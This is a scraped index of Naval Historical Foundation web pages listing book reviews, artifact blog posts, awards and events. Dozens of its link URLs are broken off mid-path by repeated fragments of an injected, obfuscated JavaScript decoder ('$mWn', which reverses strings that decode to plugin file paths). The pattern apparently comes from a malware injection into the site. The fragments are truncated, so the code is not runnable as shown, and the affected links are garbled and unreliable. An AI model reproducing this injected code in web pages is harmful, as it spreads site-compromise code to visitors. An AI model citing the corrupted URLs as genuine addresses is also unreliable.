- [BOOK REVIEW - <em>21st Century Sims</em>](https://navyhistory.org/2015/06/book-review-21st-century-sims/) - Sims and Mahan are enjoying a resurgence of interest in the last few years due to the centennials of the Great White Fleet and First World War, which saw the United States deploy a modern fleet in a global scale. Their resurgence is also thanks in no small part to Naval Officer and historian Benjamin Armstrong who has published compact volumes on both men; this being the second. This volume features several writings from the Admiral between 1906 and 1934.
- [BOOK REVIEW - <em>21st Century Ellis</em>](https://navyhistory.org/2015/06/book-review-21st-century-ellis/) - This proves to be a short but essential work for those who are interested in the transition of Marines from snipers on-board naval ships to an amphibious assault force. As it happens, Ellis had experience in both aspects of the Marine mission. He gave insightful analysis about everything he witnessed, drawing parallels between the German prepared defenses in World War I and the sorts of defenses that could be made on various Pacific atolls, where the United States would defeat Japan in an island-hopping campaign.
- [BOOK REVIEW - <em>Matthew Fontaine Maury, Father of Oceanography: A Biography, 1806-1873</em>](https://navyhistory.org/2015/06/book-review-matthew-fontaine-maury-father-of-oceanography-a-biography-1806-1873/) - In the end, Grady’s new biography on Matthew Fontaine Maury, one of the most important marine scientists of the 19th century, needs to be recommended to all readers either interested in the history of science, the nexus between the navy and oceanographic research, or even only the maritime aspects of the Civil War.
- [BOOK REVIEW - <em>The Ship of the Line: A History in Ship Models</em>](https://navyhistory.org/2015/06/book-review-the-ship-of-the-line-a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ss/) - This slim, nicely illustrated volume by Brian Lavery, Curator Emeritus of the U.K.’s National Maritime Museum in Greenwich, and one of the world’s most respected naval historians, describes the evolution of the ship of the line in the age of sail.
- [NHF Building 57 Office Move](https://navyhistory.org/2015/06/nhf-building-57-office-move/) - We will be moving to a temporary office space for the next six months to a year.
- [A Tribute to My Father (In-Law): CDR John Harrison, USN (Ret.)](https://navyhistory.org/2015/06/father-in-law-tribute/) - A tribute to CDR John Harrison: Father, Friend, and Sailor.
- [A Game of Inches – Navy Intelligence Highlighted at 73rd Midway Celebration Dinner](https://navyhistory.org/2015/06/a-game-of-inches-navy-intelligence-highlighted-at-73rd-midway-celebration-dinner/) - VIPs, guests, and veterans meet to commemorate the Battle of Midway and hear about the incredible intelligence efforts before the battle.
- [2015 Beach Award Winners Chronicle Battle off Samar](https://navyhistory.org/2015/05/2015-beach-award-winners-chronicle-battle-off-samar/) - Recipients of the 2015 Beach Award in Naval History focused on chronicling Taffy 3's involvement in the Battle off Samar during the Leyte Gulf operations of 1944.
- [Ditty Bag: Uncle Sam’s Latest, Greatest, Shortest War](https://navyhistory.org/2015/05/ditty-bag-uncle-sams-latest-greatest-shortest-war/) - By Emily Pearce, NHF Middendorf Curator
- [The Opportunity to Make History: Vietnam War Hero’s Flight to Freedom Remembered](https://navyhistory.org/2014/04/the-opportunity-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - Buang-Ly made his historic landing on the USS Midway nearly 50 years ago. He was honored in a ceremony in Florida last week.
- [BOOK REVIEW - A Common Virtue: A Novel](https://navyhistory.org/2015/05/book-review-a-common-virtue-a-novel/) - A Common Virtue is the first novel by author James Hawkins, a former Marine who served during the Vietnam War. The story is about a Marine officer and a young enlisted Marine who lead in the establishment of the Marine Force Recon organization. The story flows fairly well and the combat scenes are vivid and well told.
- [BOOK REVIEW - <em>Sheppard of the Argonne</em>](https://navyhistory.org/2015/05/book-review-sheppard-of-the-argonne/) - Sheppard of the Argonne is an exciting sea tale adventure that leaves the reader wanting to learn more about this different Second World War. It is a fine first entry into the literary world for a distinguished naval officer.
- [BOOK REVIEW <em>I, Horatio</em>](https://navyhistory.org/2015/05/book-review-i-horatio/) - Despite the author’s obvious devotion to Nelson, I would recommend this book only to readers whose aversion to substantive historical narratives would overcome their interest in learning about Nelson’s life.
- [BOOK REVIEW - <em>Dreadnought to Scapa Flow, Vol. II </em>](https://navyhistory.org/2015/05/book-review-dreadnought-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/re/) - As 2015 is the centennial of the first full year of the Great War, readers will find one anniversary date after another, as 1915 progresses. Although 447 pages take some dedication to complete, Marder’s prose about English seapower reward the reader’s engagement.
- [Former CNO, NHF Chairman Attends Centennial Anniversary](https://navyhistory.org/2015/05/former-cno-nhf-chairman-attends-centennial-anniversary/) - Former CNO and distinguished NHF Chairman Admiral James L. Holloway, USN (Ret.) attended the 100-year anniversary of the office of Chief of Naval Operations.
- [Swift Boat Sailors Association Visits Washington Navy Yard](https://navyhistory.org/2015/05/swift-boat-sailors-association-reunion-wny/) - On Saturday 9 MAY 2015, the Swift Boat Sailors Association came to the Washington Navy Yard to view PCF 1, one of two display boats of its type still around.
- [Ditty Bag: Convict Ship <em>Success</em>](https://navyhistory.org/2015/04/ditty-bag-convict-ship-success/) - By NHF Middendorf Curator Emily Pearce
- [A Story of Two Commanders: Ballard Debuts WWII Documentary in D.C.](https://navyhistory.org/2015/05/ballard-debuts-wwii-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - A WWII hero gets a changing grade over seventy years later.
- [By the Gouge: Publication Archive](https://navyhistory.org/2014/11/by-the-gouge-publication-archive/) - Volume 1, Issue 2 Volume 2, Issue 1
- [Hidden Treasures in PLANE Sight: NHHC Photo Archivists Tour the Udvar-Hazy Center](https://navyhistory.org/2015/04/nhhc-pho<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cn/) - NHHC photo archivists recently got to go on a behind-the-scenes tour of the aircraft restoration facility at the Steven F. Udvar-Hazy Center, Chantilly, VA.
- [NMHS Awards Dinner Recap: I Took My Wife on a Date](https://navyhistory.org/2015/04/nmhs-awards-dinner-recap-2015/) - I took my wife on a date. Well, it wasn’t quite a date, but I told her it was.
- [UPDATE: Victor Delano Funeral Arrangements](https://navyhistory.org/2015/04/update-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Update to the funeral arrangements for Captain Delano on Friday 1 May 2015.
- [CNO Jonathan M. Greenert - NHF Distinguished Service Award](https://navyhistory.org/2015/04/greenert-distinguished-service-award/) - ADM Jonathan M. Greenert, 30th Chief of Naval Operations, is the 2015 NHF Distinguished Service Award recipient.
- [Submarine History Seminar Recap: A Half-Century of US-UK Submarine Cooperation](https://navyhistory.org/2015/04/sub-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - “The introvert iconoclast from the Ukraine [. . .] fell under the spell and aura of Queen Victoria’s grandson.”
- [Ditty Bag: Imperial Japanese Navy Collar Tabs](https://navyhistory.org/2015/04/ditty-bag-imperial-japanese-navy-collar-tabs/) - By NHF Middendorf Curator Emily Pearce
- [Ditty Bag: Trần Hưng Đạo](https://navyhistory.org/2015/04/ditty-bag-tran-hung-dao/) - By Emily Pearce, NHF Middendorf Curator
- [Ditty Bag: World War II Japanese Parade Victory Flags](https://navyhistory.org/2015/03/ditty-bag-world-war-ii-japanese-parade-vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-ega/) - By Middendorf Curator Emily Pearce
- [Iwo Jima 40th Anniversary Exhibit at the Cannon House Office Building, 1985](https://navyhistory.org/2015/03/iwo-jima-40th-anniversary-poster/) - A rare find in the NHF office leads to an interesting history thirty years ago.
- [Finding an Old Salt a New Home: CDR Vicente Donates Zuccarelli Print](https://navyhistory.org/2015/03/finding-an-old-salt-a-new-home/) - A recent donation to the Navy Art Gallery has an interesting backstory within the collection.
- [BOOK REVIEW - <em>Call Me Gus – The Story of Admiral George E. R. Kinnear II, USN (Ret)</em>](https://navyhistory.org/2015/03/book-review-call-me-gus/) - This is an informative read concerning some of the outside and inside forces that were impacting the Navy, both positively and negatively, during the Admirals time in the Navy. The book is well worth reading by anyone interested in the Navy of the 1950s and 1960s or making a success of their life.
- [2015 Submarine History Seminar - Mutual Defense: A Half Century of US-UK Submarine Cooperation](https://navyhistory.org/2015/03/2015-submarine-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-/) - Come join us on 15 April in the NMUSN's Cold War Gallery as we discuss over a half century of US-UK submarine cooperai
- [BOOK REVIEW - <em>Ready Then, Ready Now, Ready Always: More Than a Century of Service by Citizen Sailors</em>](https://navyhistory.org/2015/03/book-review-ready-then-ready-now-ready-always-more-than-a-century-of-service-by-citizen-sailors/) - NHF Historian Dave Winkler offers his summary and thoughts about his latest work on the Navy Reserve Centennial.
- [BOOK REVIEW - <em>Naval Air Station Patuxent River</em>](https://navyhistory.org/2015/03/book-review-naval-air-station-patuxent-river/) - This pictorial history is a useful and appealing introduction to what naval aviators—specifically, test pilots, flight test engineers, test crews, and technical support staff—have accomplished over the last seventy years at one of the world’s finest and most historic flight test centers.
- [BOOK REVIEW - <em>HARNESSED TO THE POLE:  Sledge Dogs in Service to American Explorers of the Arctic, 1853-1909</em>](https://navyhistory.org/2015/03/book-review-harnessed-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - This compelling story is a must-read for Navy historians with its fascinating details of Polar history. Utilizing new sources and original research, Nickerson provides the magnificent dogs the recognition they deserve. She portrays them as the most rugged, tenacious and significant polar travelers. Without the dogs, these explorations would have been impossible.
- [NHF Staff Visit NHHC Collections Management Facility](https://navyhistory.org/2015/03/nhf-staff-visit-nhhc-collections-management-facility/) - NHF staff recently traveled to Richmond to tour NHHC's brand new Collections Management Facility (CMF).
- [Ditty Bag: Thai Sterling Silver Cigarette Set](https://navyhistory.org/2015/03/ditty-bag-thai-sterling-silver-cigarette-set/) - By Middendorf Curator Emily Pearce
- [CNO Centennial – By the Numbers (1915-2015)](https://navyhistory.org/2015/03/cno-centennial-by-the-numbers-1915-2015/) - You’ve seen them speak at important events and issue OPNAV instructions – find out a little bit more about one of the Navy’s most important position – one that plays an important role in the future outlining of naval history. 
- [Happy 100th Anniversary, U.S. Navy Reserve!](https://navyhistory.org/2015/03/happy-100th-anniversary-u-s-navy-reserve/) - Tomorrow marks the centennial of Congressional legislation that created the Navy Reserve component of today’s United States Navy.
- [The Battleship Guns at NASA's AMES Research Center](https://navyhistory.org/2015/02/the-battleship-guns-at-nasas-ames-research-center/) - Battleship guns helped win the Second World War. What about the race to the moon?
- [AWARD ANNOUNCEMENT - Henry N. Barkhausen Award](https://navyhistory.org/2015/02/award-announcement-henry-n-barkhausen-award/) - The Henry N. Barkhausen Award - $500 Cash Price (Due by 15 May)
- [Oscar Night: The Best U.S. Navy Films](https://navyhistory.org/2015/02/oscar-night-the-best-u-s-navy-films/) - It's Oscar Night - Who makes your list for the best films about the U.S. Navy?
- [CALL FOR PAPERS - Violent Skies: The Air War Over Vietnam](https://navyhistory.org/2015/02/call-for-papers-violent-skies-the-air-war-over-vietnam/) - Violent Skies: The Air War Over Vietnam A Symposium Proposed for October 2015 Four military service historical foundations—the Air Force Historical Foundation, the Army Historical Foundation, the Marine Corps Heritage Foundation, and the Naval Historical Foundation—recognize that a half century has passed since the United States became militarily engaged in Southeast Asia, and hope to
- [Bad Coffee and Graph Paper: A History of HRNM LEGO Shipbuilding](https://navyhistory.org/2015/02/a-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - It started with a grand idea, countless cups of bad coffee, and some photocopied graph paper.
- [BOOK REVIEW - <em>Before the First Shots are Fired: How America Can Win or Lose Off the Battlefield</em>](https://navyhistory.org/2015/02/book-review-before-the-first-shots-are-fired-how-america-can-win-or-lose-off-the-battlefield/) - While the events that led to the military conflicts in Afghanistan and Iraq are the central events of the book, the central theme relates the America’s foreign policy strategy, or lack thereof. This is an important volume and should find a spot on the bookshelf of anyone interested in military or political affairs.
- [BOOK REVIEW - <em>RAVEN ONE</em>](https://navyhistory.org/2015/02/book-review-raven-one/) - Raven One makes a major contribution to aircraft carrier history during difficult deployments. The author has skillfully woven the intense combat maneuvers with a fascinating human interest story. This reviewer recommends this book in which the author’s personal experience in the sky and in the wardroom tell it like it is.
- [BOOK REVIEW - <em>Edge of Valor</em>](https://navyhistory.org/2015/02/book-review-edge-of-valor/) - Edge of Valor is eminently readable and a fast-paced, fun story. The plot is complex enough to keep you on your toes as the story plays out. Just when you get complacent, Jack will throw in an unexpected plot twist. He will have you thumbing through your WW II history collection or doing a Google search for more information about some little known and long forgotten historic tidbit that he has woven into his tale. This story is recommended reading for an enjoyable evening or two with a log on the fire, your feet up, and a slow sipping drink.
- [Ditty Bag: Japanese Navy Minister Flag](https://navyhistory.org/2015/01/ditty-bag-japanese-navy-minister-flag/) - By NHF Middendorf Curator Emily Pearce
- [Ditty Bag: Vanguard Shoulder Boards](https://navyhistory.org/2015/01/ditty-bag-vanguard-shoulder-boards/) - By NHF Middendorf Curator Emily Pearce
- [Cracking Gibraltar: The Union Takes Fort Fisher (PART III)](https://navyhistory.org/2015/01/cracking-gibraltar-the-union-takes-fort-fisher-part-iii/) - Part III: Cracking Gibraltar
- [Cracking Gibraltar: The Union Takes Fort Fisher (PART II)](https://navyhistory.org/2015/01/cracking-gibraltar-part-ii/) - PART II: Butler’s “Singular and Interesting Disclosures”
- [The Battle of New Orleans: Commodore Patterson's Gold Freedom Box](https://navyhistory.org/2015/01/the-battle-of-new-orleans-commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/ste/) - An item formerly in the NHF Collection highlights the Navy's involvement at the Battle of New Orleans.
- [Ditty Bag: Around the World on a Battleship](https://navyhistory.org/2015/01/ditty-bag-around-the-world-on-a-battleship/) - Ditty Bag is an series of artifact collection blogs from NHF Curator Emily Pearce.
- [Cracking Gibraltar: The Union Takes Fort Fisher (PART I)](https://navyhistory.org/2015/01/cracking-gibraltar-part-i/) - PART I: THE JONAH OF THE FLEET
- [“FLIVVERS - THE FIRST STEAM TURBINE DRIVEN DESTROYERS](https://navyhistory.org/2014/12/flivvers-the-first-steam-turbine-driven-destroyers/) - NHF Blog Volunteer George Stewart discusses the storied history of the U.S. Navy's "flivvers," their first turbine driven destroyers.
- [BOOK REVIEW - <em>The Path to War – U.S. Marine Corps Operations in Southeast Asia 1961 to 1965</em>](https://navyhistory.org/2014/12/book-review-the-path-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regan/) - I highly recommend this book to all interested in the development of helicopter combat tactics and how mission creep can change the best of plans. My only negative comment concerning this book is a lack of an index and a glossary of abbreviations used. I look forward to the other books in this series.
- [BOOK REVIEW - <em>A Century of Service: The U.S. Navy on Cape Henlopen, Lewes, Delaware: 1898-1996</em>](https://navyhistory.org/2014/12/book-review-a-century-of-service-the-u-s-navy-on-cape-henlopen-lewes-delaware-1898-1996/) - This book tells it all and literally names names. It gives a comprehensive military history of the Cape from the beginning to the end. The detail is surprising and easily defines the amount of effort put into the research by the author. Authentic photographs and charts are used throughout to create a realistic mental picture and emphasize the military and communal importance throughout the station’s history.
- [Yale Professor Awarded Hattendorf Prize](https://navyhistory.org/2014/12/yale-professor-awarded-hatten<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegd/) - Paul M. Kennedy, the J. Richardson Dilworth professor of history at Yale University, was presented the Hattendorf Prize for Distinguished Original Research in Maritime History by U.S. Naval War College (NWC) president Rear Adm. P. Gardner Howe III, Nov. 20, at Yale.
- [History Does Matter: Admiral Dunn Awarded Distinguished Public Service Award](https://navyhistory.org/2014/12/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - The award is a testament to Vice Admiral Dunn’s tireless efforts to educate the public about naval history, and to his commitment to the core tenants of the Foundation: preservation, education, and commemoration.
- [Going Ashore: Naval Operations in Casco Bay During World War II (Part IV) ](https://navyhistory.org/2014/10/going-ashore-naval-operations-in-casco-bay-during-world-war-ii-part-iv/) - The first Navy ship sunk in WWII. The ship that carried the Sullivan brothers. Two carrier casualties. All of them passed through Casco Bay during the Second World War.
- [Going Ashore: Naval Operations in Casco Bay During World War II (Part I)](https://navyhistory.org/2014/05/going-ashore-naval-operations-in-casco-bay-during-world-war-ii-part-i/) - NHF blog volunteer George Stewart introduces a new series about the role played by Casco Bay as a base for U.S. naval operations during the Second World War.
- [Born on the Seventh of December: The Significance of a Pearl Harbor Birthday](https://navyhistory.org/2014/12/born-on-the-seventh-of-december/) - It must be hard to be born on a day where you can hear the words “Happy Birthday” in the same breath as “A day which will live in infamy.”

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- [David T. Leighton Lecture](https://navyhistory.org/david-t-leighton-lecture/) - The annual David T. Leighton lecture held in conjunction with the annual meeting of the Naval Historical Foundation provides an opportunity for membership to hear from well-established authors and scholars on topics germane to naval history. The lecture honors David Trent Leighton (1925-2017) who hailed from a naval family and graduated with the U.S. Naval Academy Class
- [Commodore Dudley W. Knox Naval History Lifetime Achievement Award](https://navyhistory.org/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - The Commodore Dudley W. Knox Award recognizes an individual for a lifetime body of work in the field of U.S. naval history.
- [Commodore Dudley W. Knox Naval History Lifetime Achievement Award](https://navyhistory.org/commo<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - The Commodore Dudley W. Knox Lifetime Achievement Award recognizes an individual for a lifetime body of work in the field of U.S. naval history. About Dudley W. Knox Transferred to the Retired List of the Navy on 20 October 1921, Knox served as Officer in Charge, Office of Naval Records and Library, and as Curator
- [Destination Midway: A <em>Yorktown</em> Veteran Remembers](https://navyhistory.org/destination-midway/) - Battle of Midway oral history interview with Captain Jack Crawford, USN (Ret.)
- [Guidelines for Book Reviews](https://navyhistory.org/publications/book-review/) - The Naval Historical Foundation runs a thriving book reviews program, with reviews published electronically under Naval History Book Reviews
- [Oral History: Rear Admiral Frank J. Allston, USN (Ret.)](https://navyhistory.org/oral-history-rear-admiral-frank-j-allston-usn-ret/) - With regards to logistics, Rear Admiral Allston's role as a Supply Corps officer can hardly be considered significant. During his short tenure on active duty, Allston assumed a public affairs position, writing articles on Supply Corps activities for the Navy Supply Corps Newsletter. Leaving active duty, he pursued a career in corporate relations, maintaining his tie to
- [Membership](https://navyhistory.org/membership/) - Membership in the Naval Historical Foundation is open to all who share an interest in the promotion and preservation of U.S. naval history.
- [Membership Renewal](https://navyhistory.org/membership-renewal/) - Renew Your Membership: On behalf of NHF leadership, members and staff, thank you for being a loyal and steadfast member. It is your support that helps us preserve and honor the legacy of those who came before us and educate future generations on the important role our nation’s naval history plays in the maritime domain.
- [Contact Us](https://navyhistory.org/about/contact-us/) - Contact information for the Naval Historical Foundation including address, phone numbers, staff directory, and directions.
- [Second Saturday Webinar Series](https://navyhistory.org/second-saturday-webinar-series/) - Loading… If you have any trouble viewing the show live on our website, you can always tune in to the livestream on YouTube. Also, consider checking out previous installments of Second Saturday on YouTube: https://www.youtube.com/watch?v=q5u1TB-0zEE&list=PLGY0pBAKlmsw7-CNeYQUb55Lk_eSmfhWR
- [Leadership](https://navyhistory.org/about/leadership/) - Board Members, Directors, and Leadership of the Naval Historical Foundation, with selected biographies
- [Events](https://navyhistory.org/naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/c/) - Regrettably, the Naval Historical Foundation's 5-Star Mess night, originally scheduled for November the 6th as noted in our Pull Together newsletter, has been deferred due to DoD guidance limiting attendance at such gatherings. We thank you for your understanding as our staff explores alternative dates for this event in 2022. Please keep an eye on Thursday Tidings and this page
- [Directory of Naval Historians](https://navyhistory.org/direc<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/r/) - The Naval Historical Foundation seeks to assemble a directory of naval historians that can be shared on an as-needed basis.
- [United States Naval Academy Superintendent’s Leadership and Vision Award](https://navyhistory.org/united-states-naval-academy-superintendents-leadership-and-vision-award/) - The Superintendent’s Annual Leadership and Vision Award, Voices of Maritime History, promotes the study and interpretation of the lessons of naval history to address today’s maritime challenges, combining scholarly review and oral presentations with the advancement of new perspectives and innovative thought leadership in public forums. Sponsored by the late Dr. J. Phillip London and administered by
- [NHF Distinguished Service Award for Leadership and Support to Naval History](https://navyhistory.org/nhf-distinguished-service-award-for-leadership-and-support-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list/) - 2021 Jim Hornfischer 2020 2019 2018 2017 Jack London 2016 Andrew Taylor 2015 Jonathan Greenert
- [Marine Amphibious Landing in Korea, 1871](https://navyhistory.org/marine-amphibious-landing-in-korea-1871/) - The assault of Marines and sailors on Kangwha Island in 1871 successfully preceded by some 79 years the landing of 1st Marine Division on Inchon, Korea, just 12 miles north
- [Eyewitness to USS <em>Independence</em>: First Hand Accounts](https://navyhistory.org/eyewitness-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/) - Click on the links below to read eyewitness accounts from USS Independence veterans. Accounts are available in PDF format. Rear Admiral M. Dick Van Orden, USN (Ret.) A MogMog Liberty (October 1944) Shademaids: Night-Fighter Pilots Aboard Independence (1944) Leyte Gulf Operations (1944) Pacific Typhoon (1944) Replenishment (1945) Captain Harvey B. Seim, USN (Ret.) USS Independence: Pioneer
- [Admiral Bruce DeMars Award for Outstanding Service to the Naval Historical Foundation](https://navyhistory.org/admiral-bruce-demars-award-for-outstanding-service-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php/) - 2020 Arthur "Bud" Langston III 2019 2018 John W. Warner 2017 Charles T. Creekman 2016 Bruce DeMars
- [2019 Superintendent's Leadership and Vision Award Dinner](https://navyhistory.org/2019-superintendents-leadership/) - On March 26th, 2019, the Naval Historical Foundation took pleasure in hosting the second annual Voices of Maritime History Competition for the Superintendent's Annual Leadership and Vision Award dinner at the National Museum of the United States Navy. An initiative undertaken in 2017 thanks to the generous support of board member Dr. J. Phillip London, a
- [Eye-witness Account of the Battle between the USS <em>Monitor</em> and the CSS <em>Virginia</em>](https://navyhistory.org/eye-witness-account-battle-between-uss-moni<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-eg/) - An Eye-witness Account of the Battle between the USS Monitor and the CSS Virginia (formerly USS Merrimack) on March 9th 1862 (Lieutenant Samuel Dana Green, USN)
- [By the Gouge: Top Blog and News Stories in Naval History](https://navyhistory.org/by-the-gouge-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegd/) - Each week, we will give you the hottest news stories from around the world of naval history. Check back for updates on each new edition of By the Gouge. LATEST ISSUE: For the archive of previous issues, go to: BY THE GOUGE ARCHIVE.
- [Native Americans and Alaskan Natives in the U.S. Navy](https://navyhistory.org/native-americans-in-the-u-s-navy/) - "Since 1776, when General George Washington began enlisting American Indians for his Army, Navy, and Marines, American Indians have contributed significantly to the defense of our nation. During the Civil War, 20,000 American Indians served with Union forces both at sea and on the land. During World War I, although ineligible for the draft, 15,000
- [National History Coskey Prize Winners and the Teachers of Distinction Recognition](https://navyhistory.org/national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - Congratulations to the prizewinners: Ms. Erica Bell Mr. Jon Blasko Ms. Amy Boehning Ms. Pam Brown Ms. Cheryle Redelings Ms. Elizabeth Thornewood Mr. Rosalio R. Garcia Mr. Michael Lee Mr. Alfred Meadows Mr. Alan Plummer Ms. Blair Hennessey For two decades the NHF has sponsored prizes at the National History Day (NHD) competition held at the
- [The Superintendent's Annual Leadership and Vision Award: Voices of Maritime History Competition](https://navyhistory.org/maritime-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - The Voices of Maritime History Competition for the Superintendent's Annual Leadership and Vision Award for USNA Students, sponsored by Jack London of CACI.
- [Historical Inquiries and Research](https://navyhistory.org/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/research/) - The Naval Historical Foundation often receives inquiries on a wide range of naval history subjects, from veterans looking for service records, to family members trying to track down a deceased relative's naval service, to the general public interested in learning more about the history of the U.S. Navy. While we are happy to direct people
- [Cruise Book and Document Reproduction](https://navyhistory.org/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/cruise-books/) - The Naval Historical Foundation has partnered with four organizations capable of providing a variety of options for cruise book reproduction.
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- [Prizes and Awards](https://navyhistory.org/programs/prizes/) - The Naval Historical Foundation offers prizes and awards to leading scholars and students
- [National History Day Teachers of Distinction Award](https://navyhistory.org/national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - 2021 NHD Teachers of Distinction Award Press Release For the fourth consecutive year, the Naval Historical Foundation (NHF) will once again present “Teacher of Distinction” awards to teachers whose students are recognized for outstanding projects at the annual National History Day (NHD) competition for middle and high school students nationwide. Inaugurated in 2018, these
- [Volunteer](https://navyhistory.org/volunteering/) - Volunteers volunteers are an invaluable asset to a small non-profit like the Naval Historical Foundation and we have a variety of interesting projects available
- [Contribute](https://navyhistory.org/contribute/) - The Naval Historical Foundation's financial support comes from dues-paying members and contributions from public-spirited individuals and organizations.
- [Captain Edward L. Beach, Jr. Naval History Award](https://navyhistory.org/captain-edward-l-beach-jr-naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - This prize is given to the U.S. Naval Academy midshipman who has demonstrated exceptional naval history scholarship during an academic year. Judging is conducted by Naval Academy history department faculty. Beginning in 2003, the Prize was named for recently deceased World War II submariner, noted author and long-time Naval Historical Foundation Board member Captain Edward
- [Programs](https://navyhistory.org/programs/) - The Naval Historical Foundation has a range of naval history outreach programs to bring our Navy's history to those in uniform, Navy veterans, and the public
- [Captain Kenneth Coskey National History Day Prize](https://navyhistory.org/captain-kenneth-coskey-national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - Captain Kenneth Coskey National History Day Prize At the annual National History Day festivities that occur every June at the University of Maryland, special prizes are awarded to high school and middle school history projects that best capture an appreciation for naval history. Two such prizes are awarded, one each in the Junior and Senior
- [Annual Reports](https://navyhistory.org/about/annual-reports/) - Annual reports and financial statements for the Naval Historical Foundation
- [Book Talk: Admiral James Stavridis, USN (Ret)](https://navyhistory.org/book-talk-admiral-james-stavridis-usn-ret/)
- [Naval Documents of the American Revolution](https://navyhistory.org/ndar/) - With more than 22,000 documents, the Naval Documents of the American Revolution are a rich resource for anyone studying the Navy during this period and the American Revolution in general. Each volume has more than one thousand documents with annotations and source notes that indicate where the original documents are held. Introductions to the volumes
- [NDAR](https://navyhistory.org/ndar-2/)
